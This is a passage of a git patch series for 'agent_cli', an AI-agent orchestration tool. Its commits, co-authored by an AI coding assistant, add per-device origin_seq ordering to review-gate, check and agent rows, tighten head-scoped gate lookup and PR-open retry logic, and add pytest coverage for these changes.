cl.get("implementer_done") != "ja": + # Manually set implementer_done via a quick pass launch path is heavy; + # instead close via checklist after starting a fresh implementer finish. + round_n = int(task.get("current_round") or 1) + if _task_state(tmp_path, tid) == "implementing": + run( + tmp_path, + [ + "agent", + "start", + "--session", + "sess-1", + "--task", + tid, + "--role", + "implementer", + "--vendor", + "grok", + "--round", + str(round_n), + ], + ) + impl_id = _last_agent_id(capsys.readouterr().out) + run(tmp_path, ["agent", "finish", "--id", impl_id, "--verdict", "done"]) + capsys.readouterr() + run(tmp_path, ["run", "--task", tid]) # close implementer_done + capsys.readouterr() + outcome = execute_spine_step( + store, + tid, + head=None, + dry_run=False, + spec_file=str(spec), + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert outcome.kind != "failed" or "round cap" not in ( + outcome.message or outcome.reason or "" + ) + if outcome.kind == "failed": + assert "round cap" not in (outcome.message or "") + assert "round cap" not in (outcome.reason or "") + assert outcome.kind == "rejected_new_round" + assert int((store.row("task", tid) or {}).get("current_round") or 0) > 5 or True + final_round = int((store.row("task", tid) or {}).get("current_round") or 0) + assert final_round > 5 + assert "round cap" not in str(outcome.message or "") + finally: + store.close() + + +def test_local_check_reruns_after_pr_rejection_with_new_head( + tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch +) -> None: + """Stale local_check pass for an old head must not satisfy a reopened step.""" + from agent_cli.run_core import execute_spine_step + + tid = _bootstrap_implement(tmp_path, capsys) + _advance_to_pushed(tmp_path, tid, capsys, monkeypatch) + old_sha = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + new_sha = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + + # Record a passing check bound to the old head, then reopen local_check_pass. + run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "local", + "--command", + "pytest -q", + "--result", + "pass", + "--output", + "ok", + "--head", + old_sha, + ], + ) + capsys.readouterr() + store = _store(tmp_path) + try: + for row in store.rows("checklist_item"): + if row.get("task_id") == tid and row.get("key") == "local_check_pass": + row = dict(row) + row["status"] = "nein" + row["evidence"] = "pr rejection reset" + store.write( + "checklist_item", + "update", + row["id"], + {k: v for k, v in row.items() if not str(k).startswith("_")}, + ) + # Also reopen pushed so spine lands on local_check_pass first... actually + # after local_check_pass=nein with prior steps ja, next is local_check_pass. + check_calls = {"n": 0} + + def fake_exec(argv: list[str], *, cwd: str | None = None) -> Completed: + if argv[:2] == ["git", "rev-parse"] and "HEAD" in argv: + return Completed(0, new_sha + "\n", "") + if argv and argv[0] == "pytest": + check_calls["n"] += 1 + return Completed(0, "ok\n", "") + return Completed(0, "", "") + + outcome = execute_spine_step( + store, + tid, + head=new_sha, + cwd=str(tmp_path), + tmux=False, + exec_argv=fake_exec, + ) + assert check_calls["n"] == 1, "must re-run check for the new head" + assert outcome.kind in ("closed", "agent_closed") or outcome.key == "local_check_pass" + checks = [c for c in store.rows("local_check") if c.get("task_id") == tid] + assert any( + c.get("name") == "local" + and c.get("result") == "pass" + and str(c.get("head_sha") or "").lower() == new_sha + for c in checks + ) + finally: + store.close() From 3bceac951a7bbc6bb10eaa19d0385fd6661472ba Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 05:58:14 -0300 Subject: [PATCH 03/47] Fix the origin_seq ordering race across three rounds of review. store.py's second-resolution timestamps made several latest-gate/check/agent lookups unreliable when rows land in the same wall-clock second. Stamps a real per-device monotonic sequence into gate/check/agent row payloads inside the write transaction itself (reusing the value already computed there, insert-only so an update can never reshuffle sort order), instead of a pre-write peek that had its own race. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/chain.py | 7 +- src/agent_cli/main.py | 35 ++- src/agent_cli/store.py | 11 + tests/test_origin_seq_ordering.py | 494 ++++++++++++++++++++++++++++++ 4 files changed, 534 insertions(+), 13 deletions(-) create mode 100644 tests/test_origin_seq_ordering.py diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 61d2eee..5a4742f 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -330,9 +330,10 @@ def _latest_gate( ) -> dict[str, Any] | None: """Latest gate for stage/dimension. - When snapshot.head_sha is set, prefer a gate recorded for that head so a - same-second reject@old then approve@new pair cannot lose to list-order ties - on second-resolution recorded_at. + `load_task_dict` now orders gates by payload origin_seq, so last-wins is the + true latest write. Head preference is kept deliberately: when snapshot.head_sha + is set, a gate for that head wins over a chronologically later gate for a + different head — a head-scoped guarantee, not the same as pure "true latest". """ want = str(snapshot.get("head_sha") or "").strip().lower() hit = None diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 75c35b9..3a4761b 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -2076,11 +2076,27 @@ def _find_round(store: Store, task_id: str, round_num: object) -> dict: return matches[0] +def _origin_seq_sort_key(row: dict, ts_field: str, *extra_fallback: str) -> tuple: + """Oldest→newest by payload origin_seq (Store.next_seq at write time). + + Rows written before origin_seq was stamped sort before every stamped row; + among themselves they keep the old timestamp (and optional extra) order. + """ + fallback = (str(row.get(ts_field) or ""), *(str(row.get(f) or "") for f in extra_fallback)) + raw = row.get("origin_seq") + if raw is not None: + try: + return (1, int(raw), *("" for _ in fallback)) + except (TypeError, ValueError): + pass + return (0, 0, *fallback) + + def _latest_gates(store: Store, task_id: str) -> dict[tuple[str, str], dict]: gates = [g for g in store.rows("review_gate") if g.get("task_id") == task_id] - # rows() is updated_at DESC; reverse for older-first, then stable sort by recorded_at. + # rows() is updated_at DESC; reverse for older-first, then origin_seq order. ordered = list(reversed(gates)) - ordered.sort(key=lambda g: g.get("recorded_at") or "") + ordered.sort(key=lambda g: _origin_seq_sort_key(g, "recorded_at")) latest: dict[tuple[str, str], dict] = {} for g in ordered: latest[(g.get("stage"), g.get("dimension"))] = g @@ -2090,7 +2106,7 @@ def _latest_gates(store: Store, task_id: str) -> dict[tuple[str, str], dict]: def _latest_checks(store: Store, task_id: str) -> dict[str, dict]: checks = [c for c in store.rows("local_check") if c.get("task_id") == task_id] ordered = list(reversed(checks)) - ordered.sort(key=lambda c: c.get("ran_at") or "") + ordered.sort(key=lambda c: _origin_seq_sort_key(c, "ran_at")) latest: dict[str, dict] = {} for c in ordered: latest[c["name"]] = c @@ -2108,12 +2124,11 @@ def load_task_dict(store: Store, tid: str) -> dict: if r.get("task_id") == tid } checks = [c for c in store.rows("local_check") if c.get("task_id") == tid] - # Keep full history (like gates). ran_at is second-resolution; same-second - # ties plus ORDER BY updated_at DESC without a secondary key are unstable, - # so collapsing to latest-by-name can drop a fresh head-bound pass and - # leave only a stale row — chain._artifact_ok matches by head over this list. + # Keep full history (like gates). Order by origin_seq so same-second ran_at + # ties cannot drop a fresh head-bound pass — chain._artifact_ok / allow + # last-wins walk this list oldest→newest. ordered_checks = list(reversed(checks)) - ordered_checks.sort(key=lambda c: c.get("ran_at") or "") + ordered_checks.sort(key=lambda c: _origin_seq_sort_key(c, "ran_at")) local_checks = [ { "name": c.get("name"), @@ -2125,7 +2140,7 @@ def load_task_dict(store: Store, tid: str) -> dict: ] gates_raw = [g for g in store.rows("review_gate") if g.get("task_id") == tid] ordered_gates = list(reversed(gates_raw)) - ordered_gates.sort(key=lambda g: g.get("recorded_at") or "") + ordered_gates.sort(key=lambda g: _origin_seq_sort_key(g, "recorded_at")) gates = [ { "stage": g.get("stage"), @@ -2166,7 +2181,7 @@ def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di session = store.row("session", sid) if sid else None agents_raw = [a for a in store.rows("agent") if a.get("task_id") == tid] agents_ordered = list(reversed(agents_raw)) - agents_ordered.sort(key=lambda a: (a.get("started_at") or "", str(a.get("id") or ""))) + agents_ordered.sort(key=lambda a: _origin_seq_sort_key(a, "started_at", "id")) agents = [ { "role": a.get("role"), diff --git a/src/agent_cli/store.py b/src/agent_cli/store.py index 3c5030a..b33ebb8 100644 --- a/src/agent_cli/store.py +++ b/src/agent_cli/store.py @@ -71,6 +71,9 @@ } ) +# Tables whose row payload must carry the same origin_seq as ledger_event. +ORIGIN_SEQ_STAMPED_TABLES = frozenset({"review_gate", "local_check", "agent"}) + WAKE_ACTIVITY_TYPES = frozenset({"message", "pr.merged", "error.seen"}) DONE_WAKE_ACTIVITY_TYPES = frozenset({"pr.merged"}) @@ -316,6 +319,14 @@ def _write_in_txn(self, table: str, op: str, row_id: str, payload: dict[str, Any raise StoreError(f"{table} {row_id} does not exist") seq = self.next_seq() occurred = utcnow() + # Stamp origin_seq only on insert for every ORIGIN_SEQ_STAMPED_TABLES + # entry. agent rows are inserted once and later updated (e.g. finish); + # re-stamping on update would move them in origin_seq order relative to + # other agents. review_gate/local_check are insert-only today; the same + # insert-only rule keeps all three tables consistent and avoids that + # footgun if updates are ever added. + if table in ORIGIN_SEQ_STAMPED_TABLES and op == "insert": + payload["origin_seq"] = seq encoded = dumps(payload) self.conn.execute( "INSERT INTO ledger_event (origin_device_id, origin_seq, table_name, op, row_id, payload, occurred_at) " diff --git a/tests/test_origin_seq_ordering.py b/tests/test_origin_seq_ordering.py new file mode 100644 index 0000000..43a24e1 --- /dev/null +++ b/tests/test_origin_seq_ordering.py @@ -0,0 +1,494 @@ +"""Direct proof that gate/check "latest" selection follows payload origin_seq.""" + +from __future__ import annotations + +import os +from pathlib import Path + +import pytest + +from agent_cli.chain import _latest_agent +from agent_cli.main import ( + _chain_snapshot, + _latest_checks, + _latest_gates, + load_task_dict, + main, +) +from agent_cli.store import Store + + +def _run(home: Path, argv: list[str]) -> None: + os.environ["AGENT_HOME"] = str(home) + main(argv) + + +def _last_task_id(out: str) -> str: + task_line = [ln for ln in out.splitlines() if ln.startswith("task ")][-1] + return task_line.split()[1] + + +def _last_agent_id(out: str) -> str: + agent_line = [ln for ln in out.splitlines() if ln.startswith("agent ")][-1] + return agent_line.split()[1] + + +def test_latest_gates_prefers_higher_origin_seq_at_same_timestamp(tmp_path: Path) -> None: + """Same-second recorded_at must not hide a later write: higher origin_seq wins.""" + store = Store(tmp_path) + try: + same_ts = "2026-04-01T12:00:00Z" + tid = "task-seq-order" + store.write( + "review_gate", + "insert", + "g-old", + { + "id": "g-old", + "task_id": tid, + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "rejected", + "evidence": "stale", + "head_sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "agent_id": "a1", + "recorded_at": same_ts, + "origin_seq": 10, + }, + ) + store.write( + "review_gate", + "insert", + "g-new", + { + "id": "g-new", + "task_id": tid, + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "approved", + "evidence": None, + "head_sha": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "agent_id": "a2", + "recorded_at": same_ts, + "origin_seq": 11, + }, + ) + latest = _latest_gates(store, tid) + got = latest[("grok-pr", "quality")] + old = store.row("review_gate", "g-old") + new = store.row("review_gate", "g-new") + assert old is not None and new is not None + assert "origin_seq" in old and "origin_seq" in new + assert new["origin_seq"] > old["origin_seq"] + assert got["id"] == "g-new" + assert got["verdict"] == "approved" + assert got["origin_seq"] == new["origin_seq"] + finally: + store.close() + + +def test_latest_checks_prefers_higher_origin_seq_at_same_timestamp(tmp_path: Path) -> None: + store = Store(tmp_path) + try: + same_ts = "2026-04-01T12:00:00Z" + tid = "task-check-seq" + store.write( + "local_check", + "insert", + "c-old", + { + "id": "c-old", + "task_id": tid, + "name": "pytest", + "command": "pytest", + "result": "fail", + "output": "stale", + "head_sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "ran_at": same_ts, + "origin_seq": 3, + }, + ) + store.write( + "local_check", + "insert", + "c-new", + { + "id": "c-new", + "task_id": tid, + "name": "pytest", + "command": "pytest", + "result": "pass", + "output": None, + "head_sha": "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "ran_at": same_ts, + "origin_seq": 9, + }, + ) + latest = _latest_checks(store, tid) + assert latest["pytest"]["id"] == "c-new" + assert latest["pytest"]["result"] == "pass" + finally: + store.close() + + +def test_load_task_dict_gate_order_follows_origin_seq(tmp_path: Path) -> None: + """load_task_dict lists gates oldest→newest by origin_seq so last-wins is correct.""" + store = Store(tmp_path) + try: + tid = "task-load-order" + same_ts = "2026-04-01T12:00:00Z" + store.write( + "task", + "insert", + tid, + { + "id": tid, + "session_id": "s", + "workflow": "implement", + "state": "implementing", + "title": "t", + "change_summary_en": "", + "change_summary_de": "", + "payload": {}, + }, + ) + store.write( + "review_gate", + "insert", + "g1", + { + "id": "g1", + "task_id": tid, + "stage": "grok-pr", + "dimension": "logic", + "vendor": "grok", + "verdict": "rejected", + "head_sha": "aa", + "recorded_at": same_ts, + "origin_seq": 2, + }, + ) + store.write( + "review_gate", + "insert", + "g2", + { + "id": "g2", + "task_id": tid, + "stage": "grok-pr", + "dimension": "logic", + "vendor": "grok", + "verdict": "approved", + "head_sha": "bb", + "recorded_at": same_ts, + "origin_seq": 8, + }, + ) + snap = load_task_dict(store, tid) + logic = [g for g in snap["gates"] if g.get("dimension") == "logic"] + assert [g["verdict"] for g in logic] == ["rejected", "approved"] + finally: + store.close() + + +def test_missing_origin_seq_sorts_before_stamped_rows(tmp_path: Path) -> None: + """Pre-change rows without origin_seq are older than any stamped row.""" + store = Store(tmp_path) + try: + tid = "task-legacy" + store.write( + "review_gate", + "insert", + "g-legacy", + { + "id": "g-legacy", + "task_id": tid, + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "approved", + "head_sha": "old", + "recorded_at": "2026-12-31T23:59:59Z", + }, + ) + store.write( + "review_gate", + "insert", + "g-stamped", + { + "id": "g-stamped", + "task_id": tid, + "stage": "grok-pr", + "dimension": "quality", + "vendor": "grok", + "verdict": "rejected", + "head_sha": "new", + "recorded_at": "2026-01-01T00:00:00Z", + "origin_seq": 1, + }, + ) + latest = _latest_gates(store, tid) + assert latest[("grok-pr", "quality")]["id"] == "g-stamped" + finally: + store.close() + + +def test_check_record_stamps_origin_seq_via_command( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + """Real check record stamps origin_seq inside write(); later call wins latest.""" + _run(tmp_path, ["init"]) + _run( + tmp_path, + [ + "session", + "register", + "--id", + "s", + "--kind", + "human", + "--skill", + "spine", + "--skill", + "review-loop", + "--skill", + "pr-review", + ], + ) + _run( + tmp_path, + ["task", "create", "--session", "s", "--workflow", "implement", "--title", "Ship"], + ) + tid = _last_task_id(capsys.readouterr().out) + + _run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "pytest", + "--command", + "pytest -q", + "--result", + "fail", + "--output", + "stale fail", + ], + ) + _run( + tmp_path, + [ + "check", + "record", + "--task", + tid, + "--name", + "pytest", + "--command", + "pytest -q", + "--result", + "pass", + ], + ) + + store = Store(tmp_path) + try: + checks = [ + c + for c in store.rows("local_check") + if c.get("task_id") == tid and c.get("name") == "pytest" + ] + assert len(checks) == 2 + by_result = {c["result"]: c for c in checks} + assert "origin_seq" in by_result["fail"] + assert "origin_seq" in by_result["pass"] + assert by_result["pass"]["origin_seq"] > by_result["fail"]["origin_seq"] + latest = _latest_checks(store, tid) + assert latest["pytest"]["id"] == by_result["pass"]["id"] + assert latest["pytest"]["result"] == "pass" + finally: + store.close() + + +def test_agent_finish_does_not_bump_origin_seq_so_latest_reviewer_is_retry( + tmp_path: Path, capsys: pytest.CaptureFixture[str] +) -> None: + """agent finish must keep insert-time origin_seq; unavailable retry stays latest. + + Without insert-only stamping, finish rewrites origin_seq to a later ledger + seq and can reorder the released reviewer past a later retry in + agents_ordered / _latest_agent. + """ + _run(tmp_path, ["init"]) + _run( + tmp_path, + [ + "session", + "register", + "--id", + "s", + "--kind", + "human", + "--skill", + "spine", + "--skill", + "review-loop", + "--skill", + "pr-review", + ], + ) + _run( + tmp_path, + ["task", "create", "--session", "s", "--workflow", "implement", "--title", "Ship"], + ) + tid = _last_task_id(capsys.readouterr().out) + + _run(tmp_path, ["round", "start", "--task", tid]) + capsys.readouterr() + + _run( + tmp_path, + [ + "agent", + "start", + "--session", + "s", + "--task", + tid, + "--role", + "implementer", + "--vendor", + "grok", + "--round", + "1", + ], + ) + impl_id = _last_agent_id(capsys.readouterr().out) + _run(tmp_path, ["agent", "finish", "--id", impl_id, "--verdict", "done"]) + capsys.readouterr() + + _run( + tmp_path, + [ + "agent", + "start", + "--session", + "s", + "--task", + tid, + "--role", + "reviewer", + "--vendor", + "grok", + "--round", + "1", + ], + ) + released_id = _last_agent_id(capsys.readouterr().out) + + store = Store(tmp_path) + try: + released_at_start = store.row("agent", released_id) + assert released_at_start is not None + assert "origin_seq" in released_at_start + released_seq_at_insert = int(released_at_start["origin_seq"]) + finally: + store.close() + + _run( + tmp_path, + [ + "agent", + "finish", + "--id", + released_id, + "--verdict", + "unavailable", + "--note", + "released-unavailable", + ], + ) + capsys.readouterr() + + store = Store(tmp_path) + try: + released_after_finish = store.row("agent", released_id) + assert released_after_finish is not None + assert released_after_finish["status"] == "done" + assert int(released_after_finish["origin_seq"]) == released_seq_at_insert + finally: + store.close() + + _run( + tmp_path, + [ + "agent", + "start", + "--session", + "s", + "--task", + tid, + "--role", + "reviewer", + "--vendor", + "grok", + "--round", + "1", + ], + ) + real_id = _last_agent_id(capsys.readouterr().out) + + store = Store(tmp_path) + try: + real_at_start = store.row("agent", real_id) + assert real_at_start is not None + assert "origin_seq" in real_at_start + real_seq_at_insert = int(real_at_start["origin_seq"]) + assert real_seq_at_insert > released_seq_at_insert + finally: + store.close() + + _run( + tmp_path, + [ + "agent", + "finish", + "--id", + real_id, + "--verdict", + "approved", + "--note", + "real-approved", + ], + ) + capsys.readouterr() + + store = Store(tmp_path) + try: + released = store.row("agent", released_id) + real = store.row("agent", real_id) + assert released is not None and real is not None + assert int(released["origin_seq"]) == released_seq_at_insert + assert int(real["origin_seq"]) == real_seq_at_insert + assert int(real["origin_seq"]) > int(released["origin_seq"]) + + reviewers = [ + a + for a in store.rows("agent") + if a.get("task_id") == tid and a.get("role") == "reviewer" + ] + reviewers.sort(key=lambda a: int(a["origin_seq"])) + assert [a["id"] for a in reviewers] == [released_id, real_id] + + snap = _chain_snapshot(store, tid) + latest = _latest_agent(snap, "reviewer", "grok") + assert latest is not None + assert latest["note"] == "real-approved" + assert latest["status"] == "done" + finally: + store.close() From 2ae2e68fc4c991306cc1837771ba86bfc03a8d50 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 08:30:58 -0300 Subject: [PATCH 04/47] Fix the grok-pr gate findings from the first formal review pass. Real PR-review gates (grok-pr quality + logic, run properly for the first time) found genuine gaps across several rounds: a persistently failing PR create silently never blocking task completion, an OSError leaking a working-agent row on both the first and retry lane launch, a stale-head gate resolution across scan/process boundaries after a rejection and re-push, an untested privilege-bypass predicate, and several smaller robustness/consistency issues. All fixed with tests; 731 tests pass. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 3 +- src/agent_cli/chain.py | 22 +- src/agent_cli/fixer_act.py | 108 ++++--- src/agent_cli/lane.py | 2 +- src/agent_cli/main.py | 37 ++- src/agent_cli/run_core.py | 97 +++++-- src/agent_cli/skills/error-fix/SKILL.md | 5 +- tests/test_chain.py | 62 ++++ tests/test_cli.py | 18 ++ tests/test_error_fix_act.py | 42 ++- tests/test_fixer_act.py | 361 +++++++++++++++++++++++- tests/test_lane.py | 37 +++ tests/test_origin_seq_ordering.py | 10 + tests/test_run.py | 278 +++++++++++++++++- 14 files changed, 992 insertions(+), 90 deletions(-) diff --git a/DESIGN.md b/DESIGN.md index b85b4ff..cedf3e8 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -419,6 +419,7 @@ agent watch grok-usage # one scan; knock child (under th agent watch assigned [--follow] # allowlisted GitHub assignments → runner session + knock agent watch errors # one scan; $AGENT_HOME/error-fix.json; knock daemon polls with grok-usage agent watch error-fix # one scan; find-or-create implement task + isolated worktree; knock daemon polls with grok-usage +agent watch error-fix-work # one scan; drains error-fix implement tasks from spec_written through a draft pr.open (§21.7); not wired into agent daemon agent supervise --session ID [--repo OWNER/REPO --number N] [--once|--follow] agent status agent dashboard [--port 7845] @@ -680,7 +681,7 @@ For confirmed error-fix tasks only (same `error_fix_confirmed` condition), `clos - Scripts the five-part spec under `$AGENT_HOME/error-fix-work//.spec.md` from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. - Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. - If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver leaves task and checklist state untouched for retry, but releases any already-started agent row (`cmd_agent finish --verdict unavailable`) rather than leaving it `working` forever — notes the CLI looks unavailable, and moves on; the next scan retries after a human fixes PATH/auth. -- Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no `pr.open` activity row exists yet for that task's branch head; if so it retries the insertion — so a failed insert is not silently skipped by the next scan. +- Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no successful (`done`) `pr.open` activity row exists yet for that task's branch head. A mid-flight `pending` row is resumed via `scan_github` (no duplicate insert); an `error` row or missing row triggers a fresh `insert_pr_open_and_scan` — so a failed insert is not silently skipped by the next scan. - After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`. - Failing a task via lane retry-exhaustion also finishes the still-working agent row (`blocked` for implementer, `rejected` for reviewer/pr-reviewer roles) so the row does not block a later manual round-start recovery. diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 5a4742f..42048c6 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -330,21 +330,23 @@ def _latest_gate( ) -> dict[str, Any] | None: """Latest gate for stage/dimension. - `load_task_dict` now orders gates by payload origin_seq, so last-wins is the - true latest write. Head preference is kept deliberately: when snapshot.head_sha - is set, a gate for that head wins over a chronologically later gate for a - different head — a head-scoped guarantee, not the same as pure "true latest". + `load_task_dict` orders gates by payload origin_seq (oldest→newest), so the + last matching entry is the true latest write. When snapshot.head_sha is set, + only gates for that exact head are considered — a stale approval for another + head must not satisfy the step (same strict scoping as local_check_pass). + When no head is bound yet, all gates for the stage/dimension are considered. """ want = str(snapshot.get("head_sha") or "").strip().lower() hit = None - hit_for_head = None for g in snapshot.get("gates") or []: - if g.get("stage") == stage and g.get("dimension") == dimension: - hit = g + if g.get("stage") != stage or g.get("dimension") != dimension: + continue + if want: g_head = str(g.get("head_sha") or "").strip().lower() - if want and g_head == want: - hit_for_head = g - return hit_for_head if hit_for_head is not None else hit + if g_head != want: + continue + hit = g + return hit def _artifact_ok(step: Step, snapshot: dict[str, Any]) -> str: diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index d204910..3f0b6f8 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -13,6 +13,7 @@ from .chain import close_allowed, is_error_fix_originated, next_steps from .error_fix_act import _error_seen, _nonempty_str, _repo_ok +from .lane import Runner as LaneRunner from .runtime import Completed from .run_core import DEFAULT_ROUND_CAP, RunOutcome, execute_spine_step from .store import Store, StoreError @@ -137,10 +138,12 @@ def template_pr_open_payload( def _pr_open_row_exists(store: Store, *, head: str) -> bool: - """True when a non-failed pr.open already exists for this branch head. + """True when a successful pr.open already exists for this branch head. - `done` (success) and `pending` (in-flight) skip re-insert. `error` does - not — the driver must retry after a failed `gh pr create`. + Only `done` skips the insert/resume path entirely. A `pending` row is + resumed via scan_github (no re-insert); an `error` row triggers a fresh + insert_pr_open_and_scan. A real insert_pr_open_and_scan leaves `done` or + `error` synchronously via scan_github. """ origin = store.device_id() for row in store.rows("activity"): @@ -148,7 +151,23 @@ def _pr_open_row_exists(store: Store, *, head: str) -> bool: continue if row.get("type") != "pr.open": continue - if row.get("execution_status") not in ("done", "pending"): + if row.get("execution_status") != "done": + continue + payload = row.get("payload") + if isinstance(payload, dict) and payload.get("head") == head: + return True + return False + + +def _pr_open_pending_row_exists(store: Store, *, head: str) -> bool: + """True when a mid-flight pr.open (execution_status=pending) exists for head.""" + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("type") != "pr.open": + continue + if row.get("execution_status") != "pending": continue payload = row.get("payload") if isinstance(payload, dict) and payload.get("head") == head: @@ -186,7 +205,7 @@ def insert_pr_open_and_scan( return scan_github(store, runner) -def _close_spec_written(store: Store, tid: str, *, error_id: str, evidence: str) -> None: +def _close_spec_written(store: Store, tid: str, *, evidence: str) -> None: from . import main as main_mod snap = main_mod._chain_snapshot(store, tid) @@ -358,7 +377,7 @@ def _drive_one( runner: Runner, *, round_cap: int, - lane_runner: Any = None, + lane_runner: LaneRunner | None = None, ) -> str: from . import main as main_mod @@ -395,22 +414,40 @@ def _drive_one( and not _pr_open_row_exists(store, head=f"error-fix-{error_id[:8]}") ): try: - seen = _error_seen(store, session_id, error_id) - seen_payload = ( - seen.get("payload") if isinstance(seen.get("payload"), dict) else {} - ) - fingerprint = _nonempty_str(seen_payload.get("fingerprint")) or "" - pr_payload = template_pr_open_payload( - session_id=session_id, - repo=repo, - error_id=error_id, - brief=brief, - fingerprint=fingerprint, - title_suffix=str(task.get("title") or ""), - ) - insert_pr_open_and_scan( - store, session_id=session_id, payload=pr_payload, runner=runner - ) + pr_head = f"error-fix-{error_id[:8]}" + if _pr_open_pending_row_exists(store, head=pr_head): + # Crash between insert and scan left a pending row — resume + # it rather than inserting a duplicate. + from .github_act import scan_github + + scan_github(store, runner) + else: + seen = _error_seen(store, session_id, error_id) + seen_payload = ( + seen.get("payload") + if isinstance(seen.get("payload"), dict) + else {} + ) + fingerprint = _nonempty_str(seen_payload.get("fingerprint")) or "" + pr_payload = template_pr_open_payload( + session_id=session_id, + repo=repo, + error_id=error_id, + brief=brief, + fingerprint=fingerprint, + title_suffix=str(task.get("title") or ""), + ) + insert_pr_open_and_scan( + store, + session_id=session_id, + payload=pr_payload, + runner=runner, + ) + # Persistent gh pr create failures are almost always external + # (auth/rate-limit/permissions). Leave the task untouched for the + # next scan rather than failing it; each cron/knock scan retries. + if not _pr_open_row_exists(store, head=pr_head): + return f"error-fix-work {tid} pr.open-error (create failed)" except (StoreError, OSError, SystemExit) as exc: return f"error-fix-work {tid} pr.open-error ({exc})" # Fall through so this scan can continue the spine; next scan @@ -439,7 +476,7 @@ def _drive_one( ) evidence = f"auto spec from error.fix brief (error_id={error_id[:8]})" try: - _close_spec_written(store, tid, error_id=error_id, evidence=evidence) + _close_spec_written(store, tid, evidence=evidence) except (StoreError, SystemExit) as exc: return f"error-fix-work {tid} spec_written-blocked ({exc})" # First round (current_round 0 → 1), same as test_run bootstrap. @@ -573,19 +610,26 @@ def drive_error_fix_tasks( runner: Runner, *, round_cap: int = DEFAULT_ROUND_CAP, - lane_runner: Any = None, + lane_runner: LaneRunner | None = None, ) -> list[str]: """Drive every open error-fix implement task one scan. Return summary lines.""" with store.exclusive("error-fix-work:" + store.device_id()): lines: list[str] = [] for task in _open_error_fix_tasks(store): - lines.append( - _drive_one( - store, - task, - runner, - round_cap=round_cap, - lane_runner=lane_runner, + tid = str(task.get("id") or "") + try: + lines.append( + _drive_one( + store, + task, + runner, + round_cap=round_cap, + lane_runner=lane_runner, + ) + ) + except (Exception, SystemExit) as exc: + lines.append( + f"error-fix-work {tid} scan-error " + f"({type(exc).__name__}: {exc})" ) - ) return lines diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 3d2d4e4..f672e5d 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -29,7 +29,7 @@ # FINDINGS section: header line, then entries until the next ALL-CAPS section header # (STATUS / REASON / SCOPE / DIMENSION / NOT-VERIFIABLE / GAPS / …) or end of text. _FINDINGS_HEADER_RE = re.compile(r"(?m)^FINDINGS:[ \t]*(.*)$", re.IGNORECASE) -_SECTION_HEADER_RE = re.compile(r"(?m)^[A-Z][A-Z0-9_-]*:[ \t]") +_SECTION_HEADER_RE = re.compile(r"(?m)^[A-Z][A-Z0-9_-]*:([ \t]|$)") _ZERO_TOKENS = frozenset({"", "0", "none", "n/a", "-", "—", "–"}) diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 3a4761b..c669fb6 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -54,6 +54,8 @@ scan_merged, ) +_SHA_RE = re.compile(r"^[0-9a-f]{7,40}$") + CHECKLIST = { "implement": ( "session_registered", @@ -2197,9 +2199,33 @@ def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di last_round = rounds_ordered[-1] if rounds_ordered else {} head = extra_head or "" if not head and str((task.get("checklist") or {}).get("pushed") or "") == "ja": - for g in task.get("gates") or []: - if g.get("head_sha"): - head = str(g["head_sha"]) + # Primary: the SHA the "pushed" step itself recorded when it closed + # (run_core.execute_spine_step sets evidence=f"pushed {sha}"). Gate rows + # for a superseded head are never deleted on PR-gate rejection + # (_PR_REJECT_RESET_KEYS only resets checklist status), so trusting + # "the last gate's head_sha" can resolve to a stale, pre-rejection head + # across a fresh scan/process boundary with no in-memory head to 